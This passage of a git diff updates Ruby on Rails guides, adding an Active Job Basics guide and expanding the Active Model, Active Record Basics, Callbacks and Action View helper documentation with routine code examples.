+submit_tag "Publish this article"
+# => <input name="commit" type="submit" value="Publish this article" />
 ```
 
 #### text_area_tag
@@ -1377,8 +1378,8 @@ submit_tag "Publish this post"
 Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
 
 ```ruby
-text_area_tag 'post'
-# => <textarea id="post" name="post"></textarea>
+text_area_tag 'article'
+# => <textarea id="article" name="article"></textarea>
 ```
 
 #### text_field_tag
@@ -1526,7 +1527,7 @@ The SanitizeHelper module provides a set of methods for scrubbing text of undesi
 
 #### sanitize
 
-This sanitize helper will html encode all tags and strip all attributes that aren't specifically allowed.
+This sanitize helper will HTML encode all tags and strip all attributes that aren't specifically allowed.
 
 ```ruby
 sanitize @article.body
@@ -1550,7 +1551,7 @@ end
 
 Sanitizes a block of CSS code.
 
-#### strip_links(html) 
+#### strip_links(html)
 Strips all link tags from text leaving just the link text.
 
 ```ruby
@@ -1568,9 +1569,9 @@ strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
 # => Blog: Visit.
 ```
 
-#### strip_tags(html) 
+#### strip_tags(html)
 
-Strips all HTML tags from the html, including comments. 
+Strips all HTML tags from the html, including comments.
 This uses the html-scanner tokenizer and so its HTML parsing ability is limited by that of html-scanner.
 
 ```ruby
@@ -1585,13 +1586,24 @@ strip_tags("<b>Bold</b> no more!  <a href='more.html'>See more</a>")
 
 NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers.
 
+### CsrfHelper
+
+Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site
+request forgery protection parameter and token, respectively.
+
+```html
+<%= csrf_meta_tags %>
+```
+
+NOTE: Regular forms generate hidden fields so they do not use these tags. More
+details can be found in the [Rails Security Guide](security.html#cross-site-request-forgery-csrf).
 
 Localized Views
 ---------------
 
 Action View has the ability render different templates depending on the current locale.
 
-For example, suppose you have a Posts controller with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
+For example, suppose you have a `ArticlesController` with a show action. By default, calling this action will render `app/views/articles/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/articles/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available.
 
 You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages.
 
@@ -1605,6 +1617,6 @@ def set_expert_locale
 end
 ```
 
-Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users.
+Then you could create special views like `app/views/articles/show.expert.html.erb` that would only be displayed to expert users.
 
 You can read more about the Rails Internationalization (I18n) API [here](i18n.html).
diff --git a/guides/source/active_job_basics.md b/guides/source/active_job_basics.md
new file mode 100644
index 0000000000..4d1625b28d
--- /dev/null
+++ b/guides/source/active_job_basics.md
@@ -0,0 +1,321 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Active Job Basics
+=================
+
+This guide provides you with all you need to get started in creating,
+enqueueing and executing background jobs.
+
+After reading this guide, you will know:
+
+* How to create jobs.
+* How to enqueue jobs.
+* How to run jobs in the background.
+* How to send emails from your application async.
+
+--------------------------------------------------------------------------------
+
+
+Introduction
+------------
+
+Active Job is a framework for declaring jobs and making them run on a variety
+of queueing backends. These jobs can be everything from regularly scheduled
+clean-ups, to billing charges, to mailings. Anything that can be chopped up
+into small units of work and run in parallel, really.
+
+
+The Purpose of Active Job
+-----------------------------
+The main point is to ensure that all Rails apps will have a job infrastructure
+in place, even if it's in the form of an "immediate runner". We can then have
+framework features and other gems build on top of that, without having to
+worry about API differences between various job runners such as Delayed Job
+and Resque. Picking your queuing backend becomes more of an operational concern,
+then. And you'll be able to switch between them without having to rewrite your jobs.
+
+
+Creating a Job
+--------------
+
+This section will provide a step-by-step guide to creating a job and enqueuing it.
+
+### Create the Job
+
+Active Job provides a Rails generator to create jobs. The following will create a
+job in `app/jobs` (with an attached test case under `test/jobs`):
+
+```bash
+$ bin/rails generate job guests_cleanup
+invoke  test_unit
+create    test/jobs/guests_cleanup_job_test.rb
+create  app/jobs/guests_cleanup_job.rb
+```
+
+You can also create a job that will run on a specific queue:
+
+```bash
+$ bin/rails generate job guests_cleanup --queue urgent
+```
+
+If you don't want to use a generator, you could create your own file inside of
+`app/jobs`, just make sure that it inherits from `ActiveJob::Base`.
+
+Here's what a job looks like:
+
+```ruby
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :default
+
+  def perform(*args)
+    # Do something later
+  end
+end
+```
+
+### Enqueue the Job
+
+Enqueue a job like so:
+
+```ruby
+# Enqueue a job to be performed as soon the queueing system is
+# free.
+MyJob.perform_later record
+```
+
+```ruby
+# Enqueue a job to be performed tomorrow at noon.
+MyJob.set(wait_until: Date.tomorrow.noon).perform_later(record)
+```
+
+```ruby
+# Enqueue a job to be performed 1 week from now.
+MyJob.set(wait: 1.week).perform_later(record)
+```
+
+That's it!
+
+
+Job Execution
+-------------
+
+If no adapter is set, the job is immediately executed.
+
+### Backends
+
+Active Job has built-in adapters for multiple queueing backends (Sidekiq,
+Resque, Delayed Job and others). To get an up-to-date list of the adapters
+see the API Documentation for [ActiveJob::QueueAdapters](http://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html).
+
+### Setting the Backend
+
+You can easily set your queueing backend:
+
+```ruby
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    # Be sure to have the adapter's gem in your Gemfile
+    # and follow the adapter's specific installation
+    # and deployment instructions.
+    config.active_job.queue_adapter = :sidekiq
+  end
+end
+```
+
+
+Queues
+------
+
+Most of the adapters support multiple queues. With Active Job you can schedule
+the job to run on a specific queue:
+
+```ruby
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :low_priority
+  #....
+end
+```
+
+You can prefix the queue name for all your jobs using
+`config.active_job.queue_name_prefix` in `application.rb`:
+
+```ruby
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    config.active_job.queue_name_prefix = Rails.env
+  end
+end
+
+# app/jobs/guests_cleanup.rb
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :low_priority
+  #....
+end
+
+# Now your job will run on queue production_low_priority on your
+# production environment and on staging_low_priority
+# on your staging environment
+```
+
+The default queue name prefix delimiter is '\_'.  This can be changed by setting
+`config.active_job.queue_name_delimiter` in `application.rb`:
+
+```ruby
+# config/application.rb
+module YourApp
+  class Application < Rails::Application
+    config.active_job.queue_name_prefix = Rails.env
+    config.active_job.queue_name_delimiter = '.'
+  end
+end
+
+# app/jobs/guests_cleanup.rb
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :low_priority
+  #....
+end
+
+# Now your job will run on queue production.low_priority on your
+# production environment and on staging.low_priority
+# on your staging environment
+```
+
+If you want more control on what queue a job will be run you can pass a `:queue`
+option to `#set`:
+
+```ruby
+MyJob.set(queue: :another_queue).perform_later(record)
+```
+
+To control the queue from the job level you can pass a block to `#queue_as`. The
+block will be executed in the job context (so you can access `self.arguments`)
+and you must return the queue name:
+
+```ruby
+class ProcessVideoJob < ActiveJob::Base
+  queue_as do
+    video = self.arguments.first
+    if video.owner.premium?
+      :premium_videojobs
+    else
+      :videojobs
+    end
+  end
+
+  def perform(video)
+    # do process video
+  end
+end
+
+ProcessVideoJob.perform_later(Video.last)
+```
+
+NOTE: Make sure your queueing backend "listens" on your queue name. For some
+backends you need to specify the queues to listen to.
+
+
+Callbacks
+---------
+
+Active Job provides hooks during the life cycle of a job. Callbacks allow you to
+trigger logic during the life cycle of a job.
+
+### Available callbacks
+
+* `before_enqueue`
+* `around_enqueue`
+* `after_enqueue`
+* `before_perform`
+* `around_perform`
+* `after_perform`
+
+### Usage
+
+```ruby
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :default
+
+  before_enqueue do |job|
+    # do something with the job instance
+  end
+
+  around_perform do |job, block|
+    # do something before perform
+    block.call
+    # do something after perform
+  end
+
+  def perform
+    # Do something later
+  end
+end
+```
+
+
+Action Mailer
+------------
+
+One of the most common jobs in a modern web application is sending emails outside
+of the request-response cycle, so the user doesn't have to wait on it. Active Job
+is integrated with Action Mailer so you can easily send emails asynchronously:
+
+```ruby
+# If you want to send the email now use #deliver_now
+UserMailer.welcome(@user).deliver_now
+
+# If you want to send the email through Active Job use #deliver_later
+UserMailer.welcome(@user).deliver_later
+```
+
+
+GlobalID
+--------
+
+Active Job supports GlobalID for parameters. This makes it possible to pass live
+Active Record objects to your job instead of class/id pairs, which you then have
+to manually deserialize. Before, jobs would look like this:
+
+```ruby
+class TrashableCleanupJob < ActiveJob::Base
+  def perform(trashable_class, trashable_id, depth)
+    trashable = trashable_class.constantize.find(trashable_id)
+    trashable.cleanup(depth)
+  end
+end
+```
+
+Now you can simply do:
+
+```ruby
+class TrashableCleanupJob < ActiveJob::Base
+  def perform(trashable, depth)
+    trashable.cleanup(depth)
+  end
+end
+```
+
+This works with any class that mixes in `GlobalID::Identification`, which
+by default has been mixed into Active Record classes.
+
+
+Exceptions
+----------
+
+Active Job provides a way to catch exceptions raised during the execution of the
+job:
+
+```ruby
+class GuestsCleanupJob < ActiveJob::Base
+  queue_as :default
+
+  rescue_from(ActiveRecord::RecordNotFound) do |exception|
+   # do something with the exception
+  end
+
+  def perform
+    # Do something later
+  end
+end
+```
diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md
index 1d87646e49..4b2bfaee2f 100644
--- a/guides/source/active_model_basics.md
+++ b/guides/source/active_model_basics.md
@@ -1,20 +1,34 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Active Model Basics
 ===================
 
-This guide should provide you with all you need to get started using model classes. Active Model allows for Action Pack helpers to interact with non-Active Record models. Active Model also helps building custom ORMs for use outside of the Rails framework.
+This guide should provide you with all you need to get started using model
+classes. Active Model allows for Action Pack helpers to interact with
+plain Ruby objects. Active Model also helps build custom ORMs for use
+outside of the Rails framework.
+
+After reading this guide, you will be able to add to plain Ruby objects:
 
-After reading this guide, you will know:
+* The ability to behave like an Active Record model.
+* Callbacks and validations like Active Record.
+* Serializers.
+* Integration with the Rails internationalization (i18n) framework.
 
 --------------------------------------------------------------------------------
 
 Introduction
 ------------
 
-Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below.
+Active Model is a library containing various modules used in developing
+classes that need some features present on Active Record.
+Some of these modules are explained below.
 
-### AttributeMethods
+### Attribute Methods
 
-The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes and which methods on the object will use them.
+The `ActiveModel::AttributeMethods` module can add custom prefixes and suffixes
+on methods of a class. It is used by defining the prefixes and suffixes and
+which methods on the object will use them.
 
 ```ruby
 class Person
@@ -38,14 +52,17 @@ end
 
 person = Person.new
 person.age = 110
-person.age_highest?  # true
-person.reset_age     # 0
-person.age_highest?  # false
+person.age_highest?  # => true
+person.reset_age     # => 0
+person.age_highest?  # => false
 ```
 
 ### Callbacks
 
-Callbacks gives Active Record style callbacks. This provides an ability to define callbacks which run at appropriate times. After defining callbacks, you can wrap them with before, after and around custom methods.
+`ActiveModel::Callbacks` gives Active Record style callbacks. This provides an
+ability to define callbacks which run at appropriate times.
+After defining callbacks, you can wrap them with before, after and around
+custom methods.
 
 ```ruby
 class Person
@@ -69,7 +86,9 @@ end
 
 ### Conversion
 
-If a class defines `persisted?` and `id` methods, then you can include the `Conversion` module in that class and call the Rails conversion methods on objects of that class.
+If a class defines `persisted?` and `id` methods, then you can include the
+`ActiveModel::Conversion` module in that class and call the Rails conversion
+methods on objects of that class.
 
 ```ruby
 class Person
@@ -92,11 +111,13 @@ person.to_param            # => nil
 
 ### Dirty
 
-An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes `first_name` and `last_name`:
+An object becomes dirty when it has gone through one or more changes to its
+attributes and has not been saved. `ActiveModel::Dirty` gives the ability to
+check whether an object has been changed or not. It also has attribute based
+accessor methods. Let's consider a Person class with attributes `first_name`
+and `last_name`:
 
 ```ruby
-require 'active_model'
-
 class Person
   include ActiveModel::Dirty
   define_attribute_methods :first_name, :last_name
@@ -120,8 +141,8 @@ class Person
   end
 
   def save
-    @previously_changed = changes
     # do save work...
+    changes_applied
   end
 end
 ```
@@ -162,10 +183,11 @@ Track what was the previous value of the attribute.
 
 ```ruby
 # attr_name_was accessor
-person.first_name_was # => "First Name"
+person.first_name_was # => nil
 ```
 
-Track both previous and current value of the changed attribute. Returns an array if changed, else returns nil.
+Track both previous and current value of the changed attribute. Returns an array
+if changed, else returns nil.
 
 ```ruby
 # attr_name_change
@@ -175,7 +197,8 @@ person.last_name_change # => nil
 
 ### Validations
 
-Validations module adds the ability to class objects to validate them in Active Record style.
+`ActiveModel::Validations` module adds the ability to validate class objects
+like in Active Record.
 
 ```ruby
 class Person
@@ -188,7 +211,8 @@ class Person
   validates! :token, presence: true
 end
 
-person = Person.new(token: "2b1f325")
+person = Person.new
+person.token = "2b1f325"
 person.valid?                        # => false
 person.name = 'vishnu'
 person.email = 'me'
@@ -198,3 +222,335 @@ person.valid?                        # => true
 person.token = nil
 person.valid?                        # => raises ActiveModel::StrictValidationFailed
 ```
+
+### Naming
+
+`ActiveModel::Naming` adds a number of class methods which make the naming and routing
+easier to manage. The module defines the `model_name` class method which
+will define a number of accessors using some `ActiveSupport::Inflector` methods.
+
+```ruby
+class Person
+  extend ActiveModel::Naming
+end
+
+Person.model_name.name                # => "Person"
+Person.model_name.singular            # => "person"
+Person.model_name.plural              # => "people"
+Person.model_name.element             # => "person"
+Person.model_name.human               # => "Person"
+Person.model_name.collection          # => "people"
+Person.model_name.param_key           # => "person"
+Person.model_name.i18n_key            # => :person
+Person.model_name.route_key           # => "people"
+Person.model_name.singular_route_key  # => "person"
+```
+
+### Model
+
+`ActiveModel::Model` adds the ability to a class to work with Action Pack and
+Action View right out of the box.
+
+```ruby
+class EmailContact
+  include ActiveModel::Model
+
+  attr_accessor :name, :email, :message
+  validates :name, :email, :message, presence: true
+
+  def deliver
+    if valid?
+      # deliver email
+    end
+  end
+end
+```
+
+When including `ActiveModel::Model` you get some features like:
+
+- model name introspection
+- conversions
+- translations
+- validations
+
+It also gives you the ability to initialize an object with a hash of attributes,
+much like any Active Record object.
+
+```ruby
+email_contact = EmailContact.new(name: 'David',
+                                 email: 'david@example.com',
+                                 message: 'Hello World')
+email_contact.name       # => 'David'
+email_contact.email      # => 'david@example.com'
+email_contact.valid?     # => true
+email_contact.persisted? # => false
+```
+
+Any class that includes `ActiveModel::Model` can be used with `form_for`,
+`render` and any other Action View helper methods, just like Active Record
+objects.
+
+### Serialization
+
+`ActiveModel::Serialization` provides a basic serialization for your object.
+You need to declare an attributes hash which contains the attributes you want to
+serialize. Attributes must be strings, not symbols.
+
+```ruby
+class Person
+  include ActiveModel::Serialization
+
+  attr_accessor :name
+
+  def attributes
+    {'name' => nil}
+  end
+end
+```
+
+Now you can access a serialized hash of your object using the `serializable_hash`.
+
+```ruby
+person = Person.new
+person.serializable_hash   # => {"name"=>nil}
+person.name = "Bob"
+person.serializable_hash   # => {"name"=>"Bob"}
+```
+
+#### ActiveModel::Serializers
+
+Rails provides two serializers `ActiveModel::Serializers::JSON` and
+`ActiveModel::Serializers::Xml`. Both of these modules automatically include
+the `ActiveModel::Serialization`.
+
+##### ActiveModel::Serializers::JSON
+
+To use the `ActiveModel::Serializers::JSON` you only need to change from
+`ActiveModel::Serialization` to `ActiveModel::Serializers::JSON`.
+
+```ruby
+class Person
+  include ActiveModel::Serializers::JSON
+
+  attr_accessor :name
+
+  def attributes
+    {'name' => nil}
+  end
+end
+```
+
+With the `as_json` you have a hash representing the model.
+
+```ruby
+person = Person.new
+person.as_json # => {"name"=>nil}
+person.name = "Bob"
+person.as_json # => {"name"=>"Bob"}
+```
+
+From a JSON string you define the attributes of the model.
+You need to have the `attributes=` method defined on your class:
+
+```ruby
+class Person
+  include ActiveModel::Serializers::JSON
+
+  attr_accessor :name
+
+  def attributes=(hash)
+    hash.each do |key, value|
+      send("#{key}=", value)
+    end
+  end
+
+  def attributes
+    {'name' => nil}
+  end
+end
+```
+
+Now it is possible to create an instance of person and set the attributes using `from_json`.
+
+```ruby
+json = { name: 'Bob' }.to_json
+person = Person.new
+person.from_json(json) # => #<Person:0x00000100c773f0 @name="Bob">
+person.name            # => "Bob"
+```
+
+##### ActiveModel::Serializers::Xml
+
+To use the `ActiveModel::Serializers::Xml` you only need to change from
+`ActiveModel::Serialization` to `ActiveModel::Serializers::Xml`.
+
+```ruby
+class Person
+  include ActiveModel::Serializers::Xml
+
+  attr_accessor :name
+
+  def attributes
+    {'name' => nil}
+  end
+end
+```
+
+With the `to_xml` you have an XML representing the model.
+
+```ruby
+person = Person.new
+person.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<person>\n  <name nil=\"true\"/>\n</person>\n"
+person.name = "Bob"
+person.to_xml # => "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<person>\n  <name>Bob</name>\n</person>\n"
+```
+
+From an XML string you define the attributes of the model.
+You need to have the `attributes=` method defined on your class:
+
+```ruby
+class Person
+  include ActiveModel::Serializers::Xml
+
+  attr_accessor :name
+
+  def attributes=(hash)
+    hash.each do |key, value|
+      send("#{key}=", value)
+    end
+  end
+
+  def attributes
+    {'name' => nil}
+  end
+end
+```
+
+Now it is possible to create an instance of person and set the attributes using `from_xml`.
+
+```ruby
+xml = { name: 'Bob' }.to_xml
+person = Person.new
+person.from_xml(xml) # => #<Person:0x00000100c773f0 @name="Bob">
+person.name          # => "Bob"
+```
+
+### Translation
+
+`ActiveModel::Translation` provides integration between your object and the Rails
+internationalization (i18n) framework.
+
+```ruby
+class Person
+  extend ActiveModel::Translation
+end
+```
+
+With the `human_attribute_name` you can transform attribute names into a more
+human format. The human format is defined in your locale file.
+
+* config/locales/app.pt-BR.yml
+
+  ```yml
+  pt-BR:
+    activemodel:
+      attributes:
+        person:
+          name: 'Nome'
+  ```
+
+```ruby
+Person.human_attribute_name('name') # => "Nome"
+```
+
+### Lint Tests
+
+`ActiveModel::Lint::Tests` allow you to test whether an object is compliant with
+the Active Model API.
+
+* app/models/person.rb
+
+    ```ruby
+    class Person
+      include ActiveModel::Model
+
+    end
+    ```
+
+* test/models/person_test.rb
+
+    ```ruby
+    require 'test_helper'
+
+    class PersonTest < ActiveSupport::TestCase
+      include ActiveModel::Lint::Tests
+
+      def setup
+        @model = Person.new
+      end
+    end
+    ```
+
+```bash
+$ rake test
+
+Run options: --seed 14596
+
+# Running:
+
+......
+
+Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s.
+
+6 runs, 30 assertions, 0 failures, 0 errors, 0 skips
+```
+
+An object is not required to implement all APIs in order to work with
+Action Pack. This module only intends to provide guidance in case you want all
+features out of the box.
+
+### SecurePassword
+
+`ActiveModel::SecurePassword` provides a way to securely store any
+password in an encrypted form. On including this module, a
+`has_secure_password` class method is provided which defines
+an accessor named `password` with certain validations on it.
+
+#### Requirements
+
+`ActiveModel::SecurePassword` depends on the [`bcrypt`](https://github.com/codahale/bcrypt-ruby 'BCrypt'),
+so include this gem in your Gemfile to use `ActiveModel::SecurePassword` correctly.
+In order to make this work, the model must have an accessor named `password_digest`.
+The `has_secure_password` will add the following validations on the `password` accessor:
+
+1. Password should be present.
+2. Password should be equal to its confirmation.
+3. This maximum length of a password is 72 (required by `bcrypt` on which ActiveModel::SecurePassword depends)
+
+#### Examples
+
+```ruby
+class Person
+  include ActiveModel::SecurePassword
+  has_secure_password
+  attr_accessor :password_digest
+end
+
+person = Person.new
+
+# When password is blank.
+person.valid? # => false
+
+# When the confirmation doesn't match the password.
+person.password = 'aditya'
+person.password_confirmation = 'nomatch'
+person.valid? # => false
+
+# When the length of password, exceeds 72.
+person.password = person.password_confirmation = 'a' * 100
+person.valid? # => false
+
+# When all validations are passed.
+person.password = person.password_confirmation = 'aditya'
+person.valid? # => true
+```
diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md
index a80c3b6c8e..a5196e481e 100644
--- a/guides/source/active_record_basics.md
+++ b/guides/source/active_record_basics.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Active Record Basics
 ====================
 
@@ -31,7 +33,7 @@ Object Relational Mapping system.
 in his book _Patterns of Enterprise Application Architecture_. In
 Active Record, objects carry both persistent data and behavior which
 operates on that data. Active Record takes the opinion that ensuring
-data access logic is part of the object will educate users of that
+data access logic as part of the object will educate users of that
 object on how to write to and read from the database.
 
 ### Object Relational Mapping
@@ -48,10 +50,10 @@ overall database access code.
 Active Record gives us several mechanisms, the most important being the ability
 to:
 
-* Represent models and their data
-* Represent associations between these models
-* Represent inheritance hierarchies through related models
-* Validate models before they get persisted to the database
+* Represent models and their data.
+* Represent associations between these models.
+* Represent inheritance hierarchies through related models.
+* Validate models before they get persisted to the database.
 * Perform database operations in an object-oriented fashion.
 
 Convention over Configuration in Active Record
@@ -60,7 +62,7 @@ Convention over Configuration in Active Record
 When writing applications using other programming languages or frameworks, it
 may be necessary to write a lot of configuration code. This is particularly true
 for ORM frameworks in general. However, if you follow the conventions adopted by
-Rails, you'll need to write very little configuration (in some case no
+Rails, you'll need to write very little configuration (in some cases no
 configuration at all) when creating Active Record models. The idea is that if
 you configure your applications in the very same way most of the time then this
 should be the default way. Thus, explicit configuration would be needed
@@ -78,17 +80,17 @@ of two or more words, the model class name should follow the Ruby conventions,
 using the CamelCase form, while the table name must contain the words separated
 by underscores. Examples:
 
-* Database Table - Plural with underscores separating words (e.g., `book_clubs`)
+* Database Table - Plural with underscores separating words (e.g., `book_clubs`).
 * Model Class - Singular with the first letter of each word capitalized (e.g.,
-`BookClub`)
+`BookClub`).
 
-| Model / Class | Table / Schema |
-| ------------- | -------------- |
-| `Post`        | `posts`        |
-| `LineItem`    | `line_items`   |
-| `Deer`        | `deer`         |
-| `Mouse`       | `mice`         |
-| `Person`      | `people`       |
+| Model / Class    | Table / Schema |
+| ---------------- | -------------- |
+| `Article`        | `articles`     |
+| `LineItem`       | `line_items`   |
+| `Deer`           | `deers`        |
+| `Mouse`          | `mice`         |
+| `Person`         | `people`       |
 
 
 ### Schema Conventions
@@ -101,7 +103,7 @@ depending on the purpose of these columns.
   fields that Active Record will look for when you create associations between
   your models.
 * **Primary keys** - By default, Active Record will use an integer column named
-  `id` as the table's primary key. When using [Rails
+  `id` as the table's primary key. When using [Active Record
   Migrations](migrations.html) to create your tables, this column will be
   automatically created.
 
@@ -116,13 +118,13 @@ to Active Record instances:
   locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to
   a model.
 * `type` - Specifies that the model uses [Single Table
-  Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html)
+  Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html#class-ActiveRecord::Base-label-Single+table+inheritance).
 * `(association_name)_type` - Stores the type for
   [polymorphic associations](association_basics.html#polymorphic-associations).
 * `(table_name)_count` - Used to cache the number of belonging objects on
-  associations. For example, a `comments_count` column in a `Post` class that
+  associations. For example, a `comments_count` column in a `Articles` class that
   has many instances of `Comment` will cache the number of existent comments
-  for each post.
+  for each article.
 
 NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
 
@@ -309,11 +311,11 @@ into the database. There are several methods that you can use to check your
 models and validate that an attribute value is not empty, is unique and not
 already in the database, follows a specific format and many more.
 
-Validation is a very important issue to consider when persisting to database, so
-the methods `create`, `save` and `update` take it into account when
+Validation is a very important issue to consider when persisting to the database, so
+the methods `save` and `update` take it into account when
 running: they return `false` when validation fails and they didn't actually
-perform any operation on database. All of these have a bang counterpart (that
-is, `create!`, `save!` and `update!`), which are stricter in that
+perform any operation on the database. All of these have a bang counterpart (that
+is, `save!` and `update!`), which are stricter in that
 they raise the exception `ActiveRecord::RecordInvalid` if validation fails.
 A quick example to illustrate:
 
@@ -322,8 +324,9 @@ class User < ActiveRecord::Base
   validates :name, presence: true
 end
 
-User.create  # => false
-User.create! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+user = User.new
+user.save  # => false
+user.save! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
 ```
 
 You can learn more about validations in the [Active Record Validations
@@ -357,7 +360,7 @@ class CreatePublications < ActiveRecord::Migration
       t.string :publisher_type
       t.boolean :single_issue
 
-      t.timestamps
+      t.timestamps null: false
     end
     add_index :publications, :publication_type_id
   end
@@ -368,6 +371,6 @@ Rails keeps track of which files have been committed to the database and
 provides rollback features. To actually create the table, you'd run `rake db:migrate`
 and to roll it back, `rake db:rollback`.
 
-Note that the above code is database-agnostic: it will run in MySQL, postgresql,
-Oracle and others. You can learn more about migrations in the [Active Record
-Migrations guide](migrations.html)
+Note that the above code is database-agnostic: it will run in MySQL,
+PostgreSQL, Oracle and others. You can learn more about migrations in the
+[Active Record Migrations guide](migrations.html).
diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md
index 95eb84dd1f..e65ab802c0 100644
--- a/guides/source/active_record_callbacks.md
+++ b/guides/source/active_record_callbacks.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Active Record Callbacks
 =======================
 
@@ -15,7 +17,7 @@ After reading this guide, you will know:
 The Object Life Cycle
 ---------------------
 
-During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data.
+During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this *object life cycle* so that you can control your application and its data.
 
 Callbacks allow you to trigger logic before or after an alteration of an object's state.
 
@@ -35,11 +37,11 @@ class User < ActiveRecord::Base
   before_validation :ensure_login_has_a_value
 
   protected
-  def ensure_login_has_a_value
-    if login.nil?
-      self.login = email unless email.blank?
+    def ensure_login_has_a_value
+      if login.nil?
+        self.login = email unless email.blank?
+      end
     end
-  end
 end
 ```
 
@@ -55,7 +57,7 @@ class User < ActiveRecord::Base
 end
 ```
 
-Callbacks can also be registered to only fire on certain lifecycle events:
+Callbacks can also be registered to only fire on certain life cycle events:
 
 ```ruby
 class User < ActiveRecord::Base
@@ -65,13 +67,13 @@ class User < ActiveRecord::Base
   after_validation :set_location, on: [ :create, :update ]
 
   protected
-  def normalize_name
-    self.name = self.name.downcase.titleize
-  end
+    def normalize_name
+      self.name = self.name.downcase.titleize
+    end
 
-  def set_location
-    self.location = LocationService.query(self)
-  end
+    def set_location
+      self.location = LocationService.query(self)
+    end
 end
 ```
 
@@ -92,6 +94,7 @@ Here is a list with all the available Active Record callbacks, listed in the sam
 * `around_create`
 * `after_create`
 * `after_save`
+* `after_commit/after_rollback`
 
 ### Updating an Object
 
@@ -103,12 +106,14 @@ Here is a list with all the available Active Record callbacks, listed in the sam
 * `around_update`
 * `after_update`
 * `after_save`
+* `after_commit/after_rollback`
 
 ### Destroying an Object
 
 * `before_destroy`
 * `around_destroy`
 * `after_destroy`
+* `after_commit/after_rollback`
 
 WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed.
 
@@ -141,6 +146,55 @@ You have initialized an object!
 => #<User id: 1>
 ```
 
+### `after_touch`
+
+The `after_touch` callback will be called whenever an Active Record object is touched.
+
+```ruby
+class User < ActiveRecord::Base
+  after_touch do |user|
+    puts "You have touched an object"
+  end
+end
+
+>> u = User.create(name: 'Kuldeep')
+=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">
+
+>> u.touch
+You have touched an object
+=> true
+```
+
+It can be used along with `belongs_to`:
+
+```ruby
+class Employee < ActiveRecord::Base
+  belongs_to :company, touch: true
+  after_touch do
+    puts 'An Employee was touched'
+  end
+end
+
+class Company < ActiveRecord::Base
+  has_many :employees
+  after_touch :log_when_employees_or_company_touched
+
+  private
+  def log_when_employees_or_company_touched
+    puts 'Employee/Company was touched'
+  end
+end
+
+>> @employee = Employee.last
+=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
+
+# triggers @employee.company.touch
+>> @employee.touch
+Employee/Company was touched
+An Employee was touched
+=> true
+```
+
 Running Callbacks
 -----------------
 
@@ -204,32 +258,32 @@ As you start registering new callbacks for your models, they will be queued for
 
 The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception.
 
-WARNING. Raising an arbitrary exception may break code that expects `save` and its friends not to fail like that. The `ActiveRecord::Rollback` exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
+WARNING. Any exception that is not `ActiveRecord::Rollback` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception.
 
 Relational Callbacks
 --------------------
 
